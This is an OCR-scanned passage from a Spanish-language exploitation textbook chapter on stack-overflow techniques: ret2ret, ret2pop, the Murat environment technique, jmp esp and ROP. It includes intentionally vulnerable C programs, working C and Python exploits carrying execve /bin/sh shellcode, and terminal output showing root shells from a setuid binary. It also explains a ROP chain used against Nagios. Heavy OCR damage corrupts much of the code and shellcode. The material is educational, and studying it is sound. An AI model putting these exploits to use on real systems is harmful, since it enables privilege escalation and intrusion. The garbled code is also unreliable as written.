ultimo  fuese  cierto,  lanto  la  aplicaeion  de  condieiones  if  o  como  la  ejecucion  de  bucles  for<>  o 
while  o  podrian  realizarse  de  una  forma  sencilla.  La  idea  subyacente  es  inter©  sante,  se  utiliza  una 
funcion  longjmpO  para  redirigir  el  flujo  de  ejecucion  a  un  punto  arbitrario,  no  obstante,  esta 
pres  unci  on  se  basa  en  una  premisa  que  no  es  cierta,  y  es  que  las  direcciones  que  se  deben  almacenar 
en  la  estructura  jmp  bcf  correspond iente  (EIP  y  ESP)  son  cifradas  con  un  valor  hardcodeado  que 
puede  ser  resuelto  por  un  atacante.  Demostraremos  en  la  seccion  6*5.2  la  refutacion  a  este  argumento. 
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Los  desarrolladores  de  exploits,  y  sobre  todo  aquellos  cuya  obsesibn  es  lograr  que  sus  artilugios  de 
ataque  no  fallen  por  culpa  de  offsets  mal  calculados  y  direcciones  hardcodeadas,  necesitan  de  lecnicas 
que  aseguren  que  sus  payloads  funcionen  en  la  mayoria  de  las  oeasiones.  Nadie  desea  que  un 
imprevisto  le  deje  quedar  mal  en  la  presentation  de  su  prueba  de  concepto. 

A  continuation  presen taremos  di  versos  metodos  que  complementary  los  conocimientos  que  hasta  el 
momento  hetnos  adquirido  y  estudiaremos  otras  vulnerabilidades  que  con  gran  frecuencia  son  halladas 
en  las  aplicaciones  que  el  usuario  utiliza  en  su  dla  a  dia.  Algunas  de  las  lecnicas  presentadas  en  este 
capitulo  estan  destinadas  a  evadir  las  protectories  modcmas  utilizadas  por  los  compiladores  y  los 
sistemas  operativos  para  prevenir  ataques  ampliamente  divulgados.  Estas  seran  estudiadas  con  mayor 
detalle  en  e!  capitulo  7  de  este  libro. 

Debido  a  todo  este  conjunto  de  medidas  preventivas  y  a  la  concienciacion  que  ban  adquirido  los 
programadores  y  admin istradores  de  sistemas,  consideramos  que  el  material  aqui  mostrado  y  el  que 
esta  por  venir  se  torna  esencial  para  obtener  resuliados  positivos  al  enfrentarse  a  las  vulnerabilidades 
de  espacio  de  usuario  descubieTtas  en  la  actual idad. 

Si  listed  es  un  prolesional  de  la  seguridad  o  piensa  que  su  futuro  le  puede  conducir  por  ese  camino, 
necesita  conocer  todas  las  aitemativas  que  un  ataeante  estara  dispuesto  a  probar  contra  un  objetivo 
preiijado. 


5.1.  Tecnica  Ret  to  Ret 

La  tecnica  rei-to-ret  o  retire!  es  una  tecnica  que  muchos  obvian  o  que  otros  no  conoeen  por  falta  de 
curiosidad.  En  un  stack  overflow  de  catalogo  siempre  se  intenta  acceder  al  principio  de  un  buffer  local 
sobrescribiendo  la  direeeibn  de  retorno  con  el  valor  de  ESP.  Luego  se  utiliza  un  offset  o  desplazamiento 
para  caer  en  el  lugar  adecuado,  quizas  dentro  de  un  colchon  de  instrucciones  NOP. 

Hasta  aqui  es  una  materia  que  hemos  esludiado  detail  ad  am  ente  a  lo  largo  de  los  anteriores  capitulos. 
La  cuestion  es  que  las  variables  locales  no  son  el  unico  lugar  donde  se  encueniran  los  dates 
proporcionados  por  el  usuario.  Veamos  un  program  a  de  ejemplo: _ _ 

void  vuln (char  *str) 

1 

char  buffer [256] ; 
strepy {buffer,  Str) ; 

int  main (int  argcf  char  *argv [ ] ) 
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if  (  argc  >  1  ) 

vuin ( argv [1 ] ) ; 
return  0; 

\ 


Existen  ires  lugares  donde  podemos  eneontrar  la  cadena  proporcionada  por  el  usuario: 

1 .  Los  argumentos  pasados  al  programa. 

2.  El  buffer  local  buffer [ ] . 

3.  Los  argumentos  pasados  a  la  fund  on. 

El  tercer  punto  es  muy  importante.  Recordemos  que  cuando  una  funcion  es  llamada  la  pila  queda 
representada  de  la  siguiente  manera: 


... 

R£T 

EBP  guardaeto 

buffer 

y~  1  ^ 

tope  de  la  pila 

Imagcn  05.01 :  Marco  de  pila  de  una  funcion. 

Y  si  seguimos  ascendiendo  por  la  pila  nos  encontraremos  eon  la  direccion  del  argumento  pasado  a 
vuin  0 ,  es  decir,  &str.  Veamoslo  con  GDB: 

blackngelGbbc :  gcc-3.3  ror.c  -o  ror 

blackngelSbbc; gdb  -q  ./ror 
{gdb)  disass  vulr. 

Dump  of  assembler  code  for  function  vuin: 

0x08048374  <vuln+Q>:  push  %ebp 
0x08048375  <vuln+l>:  mov  %esp,%ebp 
0x08048377  <vuln-i-3>;  sub  $0x118, %esp 
0x0804837d  <vuln-i-9>;  mov  0x8  (%ebp)  ,  %eax 
0x08048380  <vuln+l2>:  mov  leax, 0x4 ( %esp) 

0x08048384  <vuln+l-6>:  lea  -0x108 (%ebp) , %eax 
0x0804 838a  <vulr'i+2  2>:  mov  %eax,  ( %esp) 

0x0804838d  <vuln+25>:  call  Qx80482bS  <strcpy@plt> 

0x08048392  <vuln+30>;  leave 
0x08048393  <vuln+31>:  ret 
End  of  assembler  dump. 

{gdb)  break  *vuln+9 
Breakpoint  1  at  0x8 04 83 7d 
{gdb}  run  "perl  -e  'print  wA”x300' 1  " 

Starting  program;  /home/blackngel /ror  ‘peri  -e  Tprint  "AHx300T' 

Breakpoint  1,  0x0804 8 37 d  in  vuin  () 

{gdb)  x/4x  $ebp 

Oxbf f f f3f 8 i  Oxbf f ff 408  0x08G483ba  Oxbff ffSfd  ->  &str 
(gdb) 


Capitulo  V.  Metodos  complementarios 


129 


Consultemos  la  direccion  Oxbffffbfd  que  coincide  con  el  unico  argumento  de  la  Uamada  a  vuino . 
(gdb)  x/16x  OxbffffSfd 

Oxbf f f f 5fd :  0x41414141  0x41414141  0x41414141  0x41414141 


0xbffff60d 
Dxbf f f f 61d 
Gxbffff 62d 


0x41414141  0x41414141  0x41414141  0x41414141 
0x41414141  0x41414141  0x41414141  0x41414141 
0x41414141  0x41414141  0x41414141  0x41414141 


Hallamos  los  valores  proporcionados  y  ademas  no  encontramos  ningun  otro  contenido  que  pueda 
aiterar  nuestro  payload,  asi  que  de  sobrescribir  EIP  con  esta  direccion  no  precisariamos  de  offset 
alguno.  ^Que  oeurre  si  nos  encontramos  con  un  programa  cotno  el  siguiente? 

iinclude  <stdio.h> 
linclude  <string.h> 
int  func (char  *arg) 

char  buf [40] ; 

£trncpy(buf  ,  arg  t  04); 
return  0 ; 

} 

int  main (int  argc,  char  *argv[]) 

1 

if  (  strchr (argv [1 ]  ,  Oxbf)  ) 

{ 

printf ("Intento  de  Hacking\n")  ; 
exit (I ) ; 

} 

func (argv [1 ]  )  ; 
return  0; 

)  


No  podemos  introducir  en  nuestra  cadena  ningun  caracter  Oxbf ,  esto  evila  que  podamos  sobrescribir 
E1P  con  la  direccion  OxbffffSfd. 

La  tecnica  ret2ret  puede  ayudamos  a  sortear  esta  limitation:  El  registro  ESP  es  esencial  para  la 
coniprension  de  este  metodo.  Tal  y  como  estudiamos  en  capitulos  previos,  cuando  una  funcion  retoma, 
es  decir,  el  epilogo  de  funcion  es  ejecutado,  ESP  se  iguala  a  EBP,  luego  el  siguiente  valor  en  la  pila  es 
popeado,  que  resulta  ser  el  registro  EBP  guardado  correspondiente  a \  stack  frame  anterior,  y  la  proxima 
direccion  es  copiada  en  el  registro  EIP,  ejecutandose  el  contenido  apuntado  porel  inismo: 
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Si  con  una  instruccion  ret  tomamos  ETP  a  partir  de  ESP  y  ejecutamos  su  contenido,  cabe  pensar  que 
si  ejecutamos  otro  ret,  podemos  popear  otro  valor  adyacente  como  E1P  y  ejecutar  su  contenido, 

El  objetivo  de  retlret  es  sobrescribir  en  primera  instancia  E1P  con  la  direccion  de  una  instruccion  ret. 
Cuando  esta  instruccion  sea  ejecutada  obtendra  otro  valor  del  stack,  en  este  case  y  el  llujo  del 
programa  ejecutara  lo  que  alii  se  encuentre.  Podemos  obtener  la  direccion  de  una  instruccion  ret  de 
un  modo  sene  i  No: 

blackngeldbbc : S  objdump  “d  . /ror 
./ror:  file  format  eif32-i38G 
Disassembly  of  section  . init: 

0804  S2c4  <  init> : 


G0482£2:  c9  leave 

80482f3:  c3  ret 

Disassembly  of  section  .pit: 


0 80483a0  < _ do_global_dtors_aux> : 


8Q483dd:  c3  ret 

80483de:  66  90  xchg  %ax, %ax 


Escogeremos  para  miestro  ejemplo  la  que  se  encuentra  en  la  seeeion  DTORS:  0x0  804  8  3dd. 
Comprobemos  que  ocurre: 

(gdb)  run  "perl  -e  "print  "ANx6G  .  \xdd\xS3\x04\x08" " 

Start  program:  /home/blackngel/ror  "perl  -e  "print  "AT'x6Q  ,  'T\xdd\x83\x04\x08,, "  ' 
Program  received  signal  SIGSEGV,  Segmentation  fault. 

Oxbff f f 726  in  ??  () 

(gdb)  x/4x  0xbffff726 

Oxbf ff f 726 :  0x080483dd  0x47504700  0x4547415f 
0x4  95f 54  4e 

{gdb)  x/4 x  Oxbf fff 72 6-12 

Oxbf fff 71a :  0x41414141  0x41414141  0x41414141 
0x030483dd 

(gdb)  


Es  interesante  advertir  que  el  programa  no  vuelca  el  fallo  de  segmentacion  justo  al  principio  del 
parametro  de  fun  cion,  sino  justo  al  final.  Esto  tiene  una  facil  explicaeion,  y  es  que  en  realidad  0x41  es 
una  instruccion  que  en  ensamblador  significa:  inc  %ecx,  Como  esta  operacion  es  valida,  cl  registro 
ECX  ira  aumentando  de  forma  inalterable.  En  realidad  estamos  ejecutando  una  clase  de  NOP,  solo  que 
el  opcode  0x90  resulta  m&s  inocuo  ya  que  no  altera  el  eomportamiento  del  sistema. 

Lo  que  debe  quedar  claro  es  que  la  segunda  instruccion  ret  nos  conducira  directamente  al  principio 
de  la  cadena  pasada  como  argumento  de  funcibn.  Introduzcamos  un  shellcode  en  su  lugar: 

blackngel@bbc :  ./ror  "cat  /tmp/sc "  ’perl  -e  'print  T,A"  x  15  .  T,\xdd\x83\x04\x08,t  1  ' 

sh-3.2#  exit 

exit 

bladkngel&bbc: 


Cabria  preguntarse  que  sucederia  si  el  argumento  que  sc  le  pasa  a  vuinn  no  es  el  primero,  sino  el 
segundo,  el  tercero  o  el  cuarto.  En  ese  caso  lo  unico  que  tendriamos  que  realizar  es  una  especie  de 
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metodo  ret2pop ,  El  objetivo  es  retomar  dentro  de  una  secuencia  de  mstrucciones  pop  seguidas  de  una 
instruccion  ret,  de  esle  mode  podremos  ir  ascendiendo  por  la  pila  Cantos  vaiores  como  deseemos  y 
luego  devolver  el  control  dentro  de  la  cadena  control  ada  por  el  atacante.  Como  ya  vimos  en  el  eapitulo 
sobre  Return-to-Libe,  esta  es  una  de  las  muchas  posibles  secuencias  que  po  deni  os  utilizar. 


0804 84 5G  < 

libc  esu  init>: 

8 0  4  8  4  a  5 

5b 

pop  %ebx 

80434a6 

5e 

pop  %esi 

80484a7 

5f 

pop  %edi 

8  0  4  8  4  a  8 

5d 

pop  %ebp 

804  8  4a9 

c3 

ret 

0804 8 4aa  < 

168 6. get  pc  thunk. bx> : 

La  flabilidad  y  portabilidad  que  proporciona  el  metodo  proviene  del  hecho  de  que  un  binario 
compilado  sin  op  clones  espeeiales  mantendra  la  posidon  de  su  codigo  en  direcciones  e  static  as. 
Evi  tamos  asi  el  calculo  de  la  direccion  del  buffer  vulnerable  que  podria  eneontrarse  en  posiciones 
aleatorias  si  la  proteccion  A  SLR  se  encuentra  activada,  desplazando  la  base  de  la  pila  en  cada  ejecucidn 
del  proceso. 


5.2.  Tecnica  de  Murat 

La  tecnica  de  Murat  resulta  util  cuando  el  tamano  del  buffer  que  se  intenta  explotar  de  forma  local  es 
realmente  pequeflo. 

La  llamada  execie  o  permitc  ejecutar  un  binario  con  un  entorno  propio,  de  modo  que  cada  variable 
sea  seteada  de  forma  individual.  En  la  arquitectura  IA32  todos  los  binarios  en  Linux  con  formato  ELF 
se  mapean  a  partir  de  la  direccion  de  memoria  Oxbf  f  f  f f f  f  (correspondiendo  las  direcciones  superiores 
al  espacio  reservado  al  kernel  o  micleo  del  sistema).  Veamos  como  esta  compuesto  el  stack: 


fmagen  05.03:  Fragments  del  espacio  de  memoria  virtual  de  un  proceso. 
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Partiendo  de  Oxbffff f ff  descubrimos  que  los  primeros  4  bytes  son  null (oxoo),  luego  viene  el  nombre 
del  programa,  y  a  conti nuacidn  el  entomo  especifico  de  !a  aplicacion.  Esto  quiere  decir  que  si  en  ei 
entomo  solo  existiese  una  variable  su  direccion  seria  la  siguiente; 

addr  =  Oxbfffffff  -  4  -  strlen (filename)  -  strlen (variable) 

Nomialmente  esto  requiere  restar  1  byte  extra.  Veamos  un  programa  vulnerable: 

#include  <stdio.h> 

finclude  <string.h> 

int  mainfirit  argc,  char  *argv[]) 

< 

char  buff [ 10 ] ; 
scrcpy(buff,  argvfl]); 
return  0 ; 

} 


Ahora  solo  nos  queda  ver  el  exploit: 

# in elude  <stdlib . h> 
finclude  <stdio.h> 

#include  <st.ring.h> 

# define  BSIZE  144 
# define  NOMBRE  "  . /vuInT' 
char  shellcode[]  = 

1,\x31\xcG\x31\xdb\xbQ\xl7\xcd\x80,1 

tp  \xeb\xl  f \x5e\x8  9\x7  6\xG8 \x3l \xe0 \x8  8\x4  6\x07 \x8  9\x4  6 " 

Tl  \x0c\xb0\x0b\x89\xf  3\x8d\x4e\xG8\x8d\x56\xQc\xcd\x80" 

T"  \x3l\xcib\x89\xd8\x4  0\xcd\x8G\xe8\xdc\xf f ' \xf f \xf f /bin/sh" ; 
void  main (int  argcr  char  **argv) 

{ 

char  *p; 

char  *env[]  =  ( she 11  code f  NULL); 
char  *vuin []  =  {NOMBRE,  p,  NULL) ; 
int  *ptr,  addr; 
int  size; 
int  i; 

size  =  BSIZE; 

p  =  (char  *)  xnalloc  (size  *  si zeof { char ) ) ; 
if  {  p  =  NULL  )  { 

fprintf (stderr,  "\nMemoria  insuf iciente\nu ) ; 
exit ( 0 ) ; 

} 

addr  =  Oxbffffffa  -  strlen (shellcode)  -  strlen (NOMBRE)  -  1; 
printf ( "Usando  direccion:  [  %08x  ]\n" ,  addr); 
ptr  =  (int  *)p; 

for  (  i  -  0;  i  <  BSIZE;  i  +=  4  ) 

*  (ptr-H-)  —  addr; 

execle (vuln [ 0 ] ,  vuln,  pf  NULL,  env) ; 

} 


En  aceion: 

blackngel@bbc:  ~Vpruebas/bo$  . /exploit 
Usando  direccion:  Oxbfffffbe 
sh-3.2#  exit 
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exit 

blackngel@bbc : ~/pruebas/bo$ 


Esta  tecnica  puede  ap  lie  arse,  como  es  logico,  a  buffers  de  lamafio  mayor.  La  ventaja  esta  en  que 
podemos  calcular  de  forma  exacts  ia  direction  en  el  entomo  de  nuestro  shellcode. 

Le  in  vi  tamos  a  que  util  ice  GDE  para  ir  volcando  valores  de  la  memoria,  comenzando  con  (gdb)  x/s 
Oxbif  f  f  f  f  f-4  y  bajando  hasla  descubrir  todo  lo  que  puede  encontrar. 


5.3.  Jump  to  ESP:  Windows  Style 

Un  truco  muy  ulilizado  en  entornos  Microsoft,  por  ejemplo  los  sistemas  operativos  Windows  2000, 
XP,  Vista,  7,  8  u  otros  pertenecientes  a  la  misma  familia,  se  basa  en  aprovechar  un  stack  overflow  para 
sobrescribir  una  direction  de  retorno  guard ada  con  la  direction  de  una  instruction  como  jmp  esp  o 
call  esp.  Ya  que  el  registro  ESP  apunta  siempre  a  la  cima  de  la  pda  cuando  una  funcion  retorna,  un 
atacante  puede  provocar  que  el  flujo  de  control  de  un  programa  vulnerable  sake  a  esa  zona  si  alii  se 
encuentra  emplazado  un  shellcode.  La  siguiente  ilustracion  muestra  la  construction  de  un  payload 
habitual. 


ESP 


i 

f  EBP  > 

f  EIP  j 

z 

AAAAAAAAAAAAAAAAAAA 

&{jmp  esp] 

nops 

shellcode 

Imogen  05.04:  tunica  jumpZesp. 


De  hecho,  ni  siquiera  el  eolchon  de  NOPs  es  necesario  puesto  que  ESP  (salvo  en  ocasiones  muy 
especificas)  apuntara  direetamente  al  inicio  del  shellcode  si  estos  no  se  anteponen.  El  problema  reside 
en  como  encontrar  una  instruccion  como  imp  esp  dentro  del  ejecutable  o  de  las  librerias  que  con  el 
mismo  son  precargadas.  En  los  sistemas  W  indows  lo  habitual  es  buscar  por  este  tipo  de  instrucciones 
o  sus  opcodes  hexadecimales  (f  f  e4)  dentro  de  las  DLLs  que  las  aplieaciones  utilizan  para  cumplir 
sus  cometidos.  Si  ASLR  no  se  encuentra  activado  como  mecanismo  por  defecto,  las  librerias  dinamicas 
seran  cargadas  en  una  position  tija  dentro  de  un  mismo  sistema  operativo  y  mismo  service  pack 
aunque  este  haya  sido  instalado  en  una  maquina  distinta, 

Una  solucibn  antiguamente  conocida  en  Linux  se  basaba  en  buscar  una  instruccion  jmp  esp  dentro  de 
un  objeto  compart ido,  limix-gate.so.l,  que  siempre  se  ubicaba  en  la  misma  posicibn  dc  memoria 
independientemente  de  que  ASLR  estuviese  o  no  activado.  En  los  sistemas  mas  modemos  esta  preniisa 
ya  no  se  cumple  como  podemos  ver  a  continuacibn: 

blackngel@bbc * ldd  . /vuln 
linux-gate . so. 1  ->  (0xb76e600Q) 

libc.so.6  =>  /lib/i3'6€-“l±nux-gnu/libc  .  so.  6  (0xb7529GGQ) 

/lib/ld-linux. so . 2  (Qxb76e70GG) 
blackngelUbbc: ldd  . /vuln 
linux-gate . so . 1  =>  (Qxb77QcGG0) 

libc.so.6  =>  / llb/139 6-limix-gmi/libc . so . 6  (Qxb754f000) 

/lib/ld-linux. so , 2  (0xb77Qd0GG) 
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i,Pero  qu£  ocurre  si  podemos  encontrar  una  instruction  do  este  tipo  dentro  del  propio  cod i go  del 
binario?  Tomemos  come  ejemplo  cl  siguiente  program  a  vulnerable: 

# include  <stdio.h> 

# include  <String.h> 

void  jmpesp(){  _ asm _ CTjmp  *%esp")  ;  } 

void  vain {char  *str) 

{ 

char  buffer [126]; 

printf ("buffer  — >  %p\nTI ,  buffer); 

strepy  {buffer,  str)  ; 

} 

int  main(int  arge,  char  **argy) 

t 

if  {  arge  i-  2  )  { 

printf  ( ,TUso  :  %s  ARGUMENTG\nT\  argv[0]); 
exit  (0) ; 

} 

vuln (argv [ 1] )  ; 
return  0; 

1 


Memos  insertado  a  proposito  una  instruccion  jmp  esp  simulando  que  una  aplicacion  de  produce  ion  lo 
suficient  entente  grande  podria  contenerla.  He  aqui  un  ejemplo  de  que  esto  se  eumple: 

blackngeldbbc : msfelfscan  /bin/ls  -j  esp 
[/bin/ls] 

QxQ8Q5eQb3  jmp  esp 
GxQ8Q5e273  jmp  esp 
Gx0805e5d3  jmp  esp 


Resuita  curioso  observar  que  si  utilizamos  la  suite  de  forensics  e  ingen  ieria  in  versa  Radare  para 
encontrar  esta  instruccion,  obtendremos  un  resultado  todavfa  mds  preciso: 


blackngel8bbc: r2  /bin/ls 
[0xG8G4be34] >  /c  jmp  esp 


f 

hit_ 

0 

8 

0x0805e0b3 

# 

2: 

jmp 

esp 

f 

hit_ 

"l 

8 

0x0  8  0  5e273 

# 

2; 

jmp 

esp 

f 

hit_ 

"2 

8 

0x0805e303 

# 

2 ; 

jmp 

esp 

f 

hit_ 

3 

8 

Qx0805e363 

* 

2  : 

jmp 

esp 

f 

hit_ 

"4 

8 

0x08  Q5e 523 

# 

2 : 

jmp 

esp 

f 

hit_ 

~5 

0 

Gx08G5e5d3 

# 

2  : 

jmp 

esp 

f 

hit_ 

~6 

8 

0x0  8  Q5e  623 

# 

2; 

jmp 

esp 

[ 0x0S04be  34 ] > 


Si  ejeeutamos  msf  elf  scan  sobre  nuestro  ejecutable  obtenemos  lo  siguiente: 

blackngel@bbc : msfelfscan  ./vuln  -j  esp 
[ .  /vuln] 

0x08048417  jmp  esp 


Comprobamos  que  ASLR  se  encuentre  aetivado  ejecutando  dos  veces  el  programa  vulnerable. 


blackngel&bbc: ./vuln  black 
buffer  ->  Gxbf99Q360 
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blackngel@bbe : . /vuln  black 
buffer  ->  0xbfe82100 


Y  por  ultimo  procedemos  a  construir  el  exploit,  esta  vez  en  Python: 

from  struct  import  * 
from  subprocess  import  * 

shellcode  -  ,T\xeb\xl8\x5e\x3i\xc0\x83\x46\xQ7’,  \ 
,T\x89\x76\x08 \x8  9\x4 6\x0c\xb0\x0b"  \ 
,1\x8d\xle\x8d\x4e\x08\x8d\x56\x0cT'  \ 

" \xcd\x80\xe8\xe3\xf f \xf f \xf f \x2f "  \ 
,T\x62\x69\x6e\x2  £\x73  \  x68  " 
relleno  =  T,A"  *  140 
jmpesp  =  pack  {  "<L'T ,  0x08048417); 
payload  —  relleno  +  jmpesp  +  shellcode 
call  (  ;TI .  /  vuln ,f  T  payload  j  ) 


Otorgamos  los  perm  isos  corrientes  para  la  demostracion  y  ejeeutamos  nuestro  exploit. 

blackngelObbc; sudo  chown  root: root  ./vuln 
blackngelObbc : ^  S  sudo  chmod  +s  . /vuln 
blackngel^bbc : Is  -al  ./vuln 

-rwsrwsr^x  1  root  root  7242  jun  5  18:02  ./vuln 
blackngel@bbc:  python  ex.py 

buffer  ->  Oxbfc23770 

#  id 

uid-100-0 (blackngel)  gid=10Q0 (blacfcngel)  euid^O(root)  egid=G(root)  groups=0 (root) 

# 

Tal  y  como  se  ha  podido  comprobar,  esta  resulta  otra  forma  comun  de  sortear  el  mecanismo  de 
pro  teed  on  A  SLR  si  no  hay  nada  que  nos  impida  ejecutar  codigo  en  la  pi  la.  Ademas,  tampoco  ha  side 
necesario  predeeir  la  direccibn  del  payload  en  memoria,  lo  que  provoca  que  portar  el  exploit  a  otros 
si  stem  as  sea  mas  estable. 


IN  ota 


Por  norma  general,  los  valores  de  retomo  devueltos  por  una  funcion  se  asignan  al 
registro  EAX  del  procesador.  Si  una  funcion  vulnerable  retorna  la  direction  de  un 
bufTer  o  un  puntera  que  senale  a  algun  lugar  dentro  del  mismo,  entonces  un  atacante 
podra  utilizar  una  tecnica  analoga  retleax ,  que  consiste  nuevamente  en  utilizar  una 
instruction  como  jmp  e ax  o  call  eax  para  redirigirel  flujo  hacia  un  shellcode 
malicioso. 


Existe  una  ultima  ventaja  inherenle  a  la  tdcnica  jmp2esp  que  muchas  veees  es  pasada  por  alto,  tiene 
que  ver  con  shellcodes  que  se  sobrescriben  a  si  mismos  {self-corrupting  shell  codes).  For  su  diseno,  y 
debido  al  objetivo  que  poseen,  la  mayoria  de  las  ocasiones  un  shellcode  se  encontrara  emplazado  en 
el  stack,  y  a  su  vez  este  realizara  operaciones  que  requieren  la  manipulation  de  valores  en  dicho 
espacio  de  memoria  (instrucciones  push  y  pop),  Ocurre  que  si  introducimos  un  payload  al  principio  de 
un  buffer  vulnerable,  debido  a  que  la  piia  crece  hacia  las  direcciones  bajas  de  memoria,  cada  vez  que 
se  realiza  una  operation  de  apilamiento  mediante  push,  en  realidad  se  estan  introduciendo  valores  que 
se  acercan  peligrosamente  al  final  del  shellcode  introducido.  Sin  embargo,  cuando  un  atacante  inyecta 
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codigo  arbitrario  justo  de spues  de  La  direccion  de  retom o  guardada,  la  situation  que  acabamos  de 
describir  tiene  men  os  probabihdades  de  ocurrir,  ciertamente  se  requeririan  varias  instrucciones  pop 
antes  de  que  el  registro  BSP  se  encontrase  apuntando  en  medio  del  shellcode. 

5.4.  ROP  (Return  Oriented  Programming) 

La  teenica  ROP  no  es  mas  que  un  termino  modemo  que  sirve  para  designar  una  variante  del  metodo 
explieado  en  la  section  4.2.1  de  este  libro  sobre  el  encadenamiento  de  funciones  en  exploits  Return  to 
Libc. 

La  diferencia  radica  en  que  los  trozos  de  codigo  que  se  invocan,  conocidos  en  la  jerga  como  gadgets, 
tienen  por  objetivo  evadir  o  mitigar  las  tecnicas  de  ASLR  y  prevention  de  ejecucion  en  zonas  de  datos. 
Estos  fragmentos  de  codigo  siempre  deben  tenninar  en  una  instruction  ret  que  permita  encadenar 
otras  direeciones  presentes  en  la  pile  y  ademas  deberian  encontraTse  en  lugares  no  aleatorizados  como 
el  propio  codigo  del  binario  vulnerable  o  librenas  e specif! cas  que  o  bien  siempre  se  carguen  en  la 
misma  po  sic  ion  de  memoria  de  un  proceso  o  bien  su  direccion  base  pueda  ser  obtenida  durante  el 
ataque. 


Not  a 


La  tecnica  ROP  ha  sido  detmida  en  otras  fuentes  por  el  nombre  de  borrowed  code 
chunks.  Con  suite  las  referencias  para  mas  information. 


Para  la  construction  de  un  ataque  o  payload  ROP,  es  muy  important#  comprender  el  eoncepto  de 
geometria  que  utilizan  algunas  arquitecturas  de  procesadores.  A  diferencia  de  MIPS  (otras 
arquitecturas  RISC  servirian  tambien  de  ejemplo),  euyas  instrucciones  de  ensamblador  siempre  tienen 
el  mismo  tamaiio,  32  bits,  y  se  eneuentran  alineadas  a  la  misma  distancia,  Intel  contiene  un  set  de 
instrucciones  (ISA)  muy  amplio  que  no  sigue  esta  regia.  Cada  instruction  puede  tener  una  longitud 
variable  y  la  extension  de  operaciones  es  tan  amplia  que  exists  una  probabilidad  muy  alta  de  que  una 
combination  aleatoria  de  bytes  hexadecimales  pueda  asociaise  a  una  instruction  concreta  del 
procesador.  Proponemos  como  demostracion  uno  de  los  codigos  mas  breves: 

void  main  0  { 

int  i  =  58623; 

} 


Si  desensambtamos  la  instruction  que  se  corresponde  con  la  asignaeidn  del  valor  entero  obtenemos 
esto: 

B0483ba:  c7  45  f c  ff  e4  00  00  movl  $0xe4ff,  -0x4  (%ebp) 


En  un  principio  no  parece  algo  de  lo  que  se  pueda  sacar  mucho  provecho,  pero  si  brindamos  una  mirada 
mas  atenta  y  recordamos  lo  estudiado  en  la  section  anterior,  entonces  podremos  descubrir  los  opcodes 
magicos  Oxf  f  y  0xe4?  que  se  convertiran  en  una  instruction  mucho  mas  interesante: 

fgdb)  x/i  0x8  048  3bd 

0x80483bd  <main-i-9>:  jmp 
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Existen  algunos  estudios  y  proyectos  que  procuran  definir  un  set  de  instnieciones 
privado  y  aleatario  para  cada  proceso.  Esto  provocaria  que  un  payload  ROP  no  pueda 
establecer  ni  resolver  !os  opcodes  para  una  explotacion  exitosa.  A  pesar  de  que  diehas 
medidas  no  han  llegado  ha  ser  impementadas  en  ningun  si  stem  a  operative  de  uso 
comun,  le  animamos  a  consular  las  referencias  para  mas  informacion. 


La  utilidad  msfrop  de  la  suite  Metasploit  se  utiliza  con  Irecuencia  en  entomos  Windows  para  obtener 
estas gadgets  dentro  de  librerias  que  se  rnapean  siempre  en  las  mismas  direcciones.  En  Linux  tambien 
podernos  util  izar  Rad  are  para  encontrar  secuencias  de  instrucciones  pop;  ret;  que  nos  permitan 
desplazamos  por  el  stack. 

blackngelSbbc : -$  r2  */vuln 
[0x08048330]  >  /c  pop,pop,ret 

f  hit_0  8  0xQ80483b2  #  3:  pop  ebx  pop  ebp  ret 

f  hit_l  0  QxGBQ4848e  ft  3:  pop  edi  pop  ebp  ret 

f  Mt_2  @  0x08  0 4 84d7  #  3i  pop  ebx  pop  ebp  ret 

[0x0  8  04  8330]  > 

Como  un  ejemplo  vale  mas  que  mil  palabras,  examinaremos  un  breve  payload  ROP  que  fue  disenado 
para  explotar  una  vulnerabilidad  en  el  software  Nagios  y  que  el  profesional  de  la  seguridad  informatica 
Jose  Selvi  porto  al  framework  Metasploit.  Podernos  ver  la  cadena  en  la  ilustracion. 


Imagen  05.05:  tnycccion  para  una  vulnerabilidad  cn  Nagios. 


Lo  primero  que  se  hace  es  sobrescribir  la  direction  de  retorno  guardada  con  la  direction  de  la  funtion 
oqi_i.nput._une scape  ( )  cuyo  objetivo  es  revertir  la  codification  URL  que  se  habia  producido  sobre 
la  cadena  de  entrada*  Luego  se  ejecuta  una  secuencia  pop;  ret ;  que  como  ya  sabemos  increments  el 
registro  ESP  en  cuatro  bytes  y  recoge  ia  siguiente  direccion  como  nuevo  EIP.  De  modo  que  se  procede 
a  ejeeutar  system ()  „  cuya  direccion  es  una  entrada  en  la  PLT  del  propio  binario  vulnerable,  y  se  le 
pasa  hostbuf  de  nuevo  como  argumento  pero  en  este  punto  ya  ha  sido  decodificado  y  por  lo  tanto  el 
atacante  obtiene  el  privilegio  de  ejeeutar  comandos  arbitrarios  en  el  sistema  remote. 

Es  fhcil  ver  que  se  trata  de  una  combination  de  ROP  y  Return  to  PLT  en  el  que  todas  las  direcciones 
facilitadas  se  encuentran  en  posiciones  estaticas  dentro  del  propio  ejecutable  evitando  asi  las  medidas 
de  A  SLR  y  tambien  de  NX  (o  WAX),  dado  que  nunea  ilega  a  ejecutarse  mstruccidn  alguna  en  la  pila. 
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La  aplicacion  mas  conocida  para  Linux  que  le  permite  crear  payloads  ROP  de  un  modo  send  11  o  y 
rapido  se  trata  de  RGPgadgeL  herramienta  que  puede  descargar  desde  la  siguiente  direccion  URL: 
http : //shell-storm .  org/project/R  OP  gadget/.  Observe  en  la  siguiente  ilustradon  algimas  de  sus  opciones 
de  uso  cornu  n. 


black  ngelgbbbc  ^/ftQPgadget 

bl3ckngelpbbc:“/R0Pgadget$  ,/ROPgadget 
1  ynta '  S-f >>  /ROPgadg'tft  [FLAGS]  <binary>  [ ajrgv . . 

Syr  tax •/' O e f  aol t  is ' t) :  . ; 

-att  Display  alt  asm  in  att  syntax 

Intel  Display  all,  asm  In  Intel  syntax 

Generation  Target  (only  one  can  be  specified,  default  is  execve  /bin/sh): 

-bind  <port>  set  this  flag  to  make  a  bind  shellcode 

-importsc  <shellcpde;>  Wake  custom  payload  (\xFF  notation) 

Search  Filteriftti  {suppresses  generation,  can  be  specified  multiple  times): 

^filter  cwdrd>  Suppress  instructions  containing  word 

-only  <word>  Only  show  instructions  containg  word 

Search  Target  (supresses  generation,  default  is  internal  oplist): 

-opcode  <opcode»  Find  opcode  in  exec  segment  (\xFF  notation;) 

^string  <strVng>  Find  string  in  read  segment  f'?1  any  char) 

-asm  ■=instructtons>  Assemble  instructions  then  search  for  them 

se&ch  L^itsT^r'']  /"7  r . nr\  f  0 

/  \  ‘Ijimif  ’ "  Coiyj;  f  ind  and show  n  gadgets/it^in^s: 

